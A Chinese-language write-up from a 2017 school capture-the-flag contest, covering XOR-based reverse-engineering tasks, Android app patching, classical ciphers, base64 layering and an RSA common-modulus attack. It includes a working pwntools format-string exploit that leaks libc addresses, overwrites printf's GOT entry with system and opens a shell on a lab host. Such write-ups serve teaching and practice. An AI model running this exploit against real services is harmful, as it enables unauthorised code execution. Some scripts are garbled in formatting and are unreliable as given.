2017.12.2日举办的校赛圆满结束,整理一下我们小组出的逆向和密码学的writeup
Reverse
简单的Re
这道真的很简单,我们直接IDA内一顿操作,找到关键地方,如下图所示:
正确flag与0x53异或一下得到的结果就是程序内的自带数据,不多做解释。
a=[53,63,50,52,40,1,96,37,54,103,32,58,**,**,**,**,32,12,102,60,12,58,61,39,54,97,54,102,39,33,63,61,52,46]
flag=''
for i in range(0,len(a)):
flag+=chr(a[i]^0x53)
print(flag)
来自计算机七号的挑(song)战(fen)
很有深度的一道题目,IDA看一下
大致逻辑可以看得很清楚,我们输入的flag和7异或后加上7存放于一个数组中,问题在于后面是和什么异或然后和内存数据进行比较的呢?
IDA看不到只能用OD跟踪了。
这里可以看到是和什么异或然后和239之类的数据进行比较的。所以说,我们可以修改跳转把所有的异或数据全部拿出来,最后15个数据为:jblg8DD3qFr04i4
OK,flag就是一个脚本的问题了。
Android_B
一道安卓题目,app就先下载下来玩玩嘛,安装完打开发现页面上有一个按钮,按不了.
题目描述按到就给flag,也不知道是不是骗人,那就试试呗,
程序猿肯定把butto的click功能给false了,那么我们只要找到smail文件的关键位置把false改成true就行了,剩下就是把猜想付诸于行动。
OK改完了,那么我们重新编译然后再安装试试,发现真的给了一串乱码数据,管他呢,试试先,提交乱码的MD5值,Bingo,过了。
破解快乐
打开程序看一看
java写的一个程序,用jd-gui打开源码看看。
主要的程序就是下面四个,其中第二个注意是一个提示的坑,不要踩进去,整理一下逻辑写个脚本结束。
第一幅图的拷贝函数很迷惑人, 看准跳转是关键!
贴下脚本:
def diedai(n):
if n >2:
return diedai(n-1)+diedai(n-2)
else:
return 1
def change(n,k):
return diedai(n)%len(k)
if __name__ == '__main__':
str = "vȾ¤ÊÊ¬ÆÆÊv̤ʲʲÀΤ¨¸¬"
x = []
for i in range(len(str)):
x.append(chr((ord(str[i]) >> 1) + 15))
key=''.join(x)
s=[]
z1=0
for z2 in range(0,4):
for z3 in range(0,4):
s.append(key[change(z1+z3,key)])
z1+=5
print(s)
Android2
这题给了一个加密文件,一个apk,还是安装看看。
发现里面有两个按钮,一个加密,一个解密,但是解密按完程序就蹦了,只有加密能出东西,而且他里面自己设置了一个类似密钥的东西,那就分析一下代码
关键代码是这一点,解密内没有代码,他的重要操作就是异或,异或可以,但是下面有图片验证,那么我们先把后缀改为图片后缀,然后再次加密,试试看嘛。
OK,加密图片解出来了,大吉大利今晚吃鸡。图片上的base16解密即可。
Maze
这个程序打不开。
提示和数据打打交道,看看Hex
PE头应该在80H处,但是80H处是2333,所以把2333改成PE头就行
OK程序可以打开
其实这个考察也不一定要解开,主要writeup在此:
一起来“胖”啊
简单的格式化字符串漏洞,利用漏洞泄漏任意函数的真实地址,然后在lib中找到偏移地址算出system的真实地址,再次利用system,传入/bin/sh参数完成利用
exp:
from pwn import *
\#context.log_level = 'debug'
p = remote("192.168.1.113", 8888)
\#p=process("./pwne")
\# get printf libc addr
printf_got = 0x0804a010
leak_payload = "bb%6$saa" + p32(printf_got)
p.recvuntil("Hello, World\n")
p.sendline(leak_payload)
p.recvuntil("bb")
info = p.recvuntil("aa")[:-2]
print info.encode('hex')
\# get system libc addr
print_addr = u32(info[:4])
print "print_addr:"+hex(print_addr)
\#p_s_offset = 53479 # addr(printf) - addr(system)
printf_offset=0x4D280
system_offset=0x40190
system_addr = print_addr - printf_offset + system_offset
print "systen_addr:"+hex(system_addr)
\# get payload
payload = fmtstr_payload(4, {printf_got: system_addr})
\# send payload
p.recvuntil("Hello, World\n")
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()
Crypto
密码学100
很简单,凯撒加栅栏的加密,解密一下即可,注意大小写的存在:
先栅栏解密agvb{Tjp_1Mz_X1zQzm}
然后凯撒移位flag{You_1Re_C1eVer}
贝斯家族
根据描述可以知道,flag加密了36次base64,又加密一次base16
脚本:
import base64
f=open("E:\Users\dd.txt",'r')
flag = f.read()
flag = base64.b16decode(flag)
for i in range(36):
flag=base64.b64decode(flag)
print(flag)
###RSA
- 分析流量包提取有用信息:
看到有三个key的压缩包,压缩包可以通过foremost或者binwalk提取出来。
key1:
—–BEGIN PUBLIC KEY—–
MIGAMA0GCSqGSIb3DQEBAQUAA28AMGwCZQCnZIbrdaPobT4Ia+0c3yj+tR7l6prJ
byoeOrDRK5mXyasdn8HSExKeruRFMELsOupuF0Dw15zKzv8+9J+SQjE+7eZ/svRD
C6aPXQZGXKtcMiIqlHa4Q3hI6cw3WFgbYdIlC1OZAgMBAAE=
—–END PUBLIC KEY—–
key2:
—–BEGIN PUBLIC KEY—–
MIGAMA0GCSqGSIb3DQEBAQUAA28AMGwCZQCnZIbrdaPobT4Ia+0c3yj+tR7l6prJ
byoeOrDRK5mXyasdn8HSExKeruRFMELsOupuF0Dw15zKzv8+9J+SQjE+7eZ/svRD
C6aPXQZGXKtcMiIqlHa4Q3hI6cw3WFgbYdIlC1OZAgMBAAM=
—–END PUBLIC KEY—–
还有两个cry的txt需要扣取出来就好。
- 分解两个公钥得到不同的两个不同的e和一个相同的n,会玩rsa的就可以知道是共膜攻击。
写代码,解题再转码转字符得到flag。
脚本:
#!/usr/bin/env python3
# coding:utf-8
import binascii
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:raise Exception('modular inverse does not exist')
else:
return x % m
def egcd(a,b):
if a==0:return (b,0,1)
else:
g,y,x=egcd(b%a,a) return (g,x-(b//a)*y,y)
def main():
#c1为密文1 c1=2030811156522080479534380585679540224811392358471221121903500951020792730252365410965194272526859671449231195224643995533159581726005071102332599685927429796174012361879498368574822467464773239467267683166997996469735733139730718951657093072
#c2为密文2c2=432349880784956087467730931619622010551468577048036338892145633949921703163476344960761289142596504797262111871151379630491409846619636163453069518097091623785238077044180062258181941690990234123420861146760076308983603961910238392785031770
#n为模n=0xa76486eb75a3e86d3e086bed1cdf28feb51ee5ea9ac96f2a1e3ab0d12b9997c9ab1d9fc1d213129eaee4453042ec3aea6e1740f0d79ccaceff3ef49f9242313eede67fb2f4430ba68f5d06465cab5c32222a9476b8437848e9cc3758581b61d2250b5399
#egcd()两个参数分别为e1和e2
s = egcd(65537, 65539)
s1 = s[1]
s2 = s[2]
if s1<0:
s1 = - s1
c1 = modinv(c1, n)
elif s2<0:
s2 = - s2
c2 = modinv(c2, n)
m = (pow(c1,s1,n)*pow(c2,s2,n)) % n
h = hex(m)[2:-1]
print binascii.a2b_hex(h)
if name == ‘main‘:
main()
4.得到flag:flag{deciphering_is_very_interesting}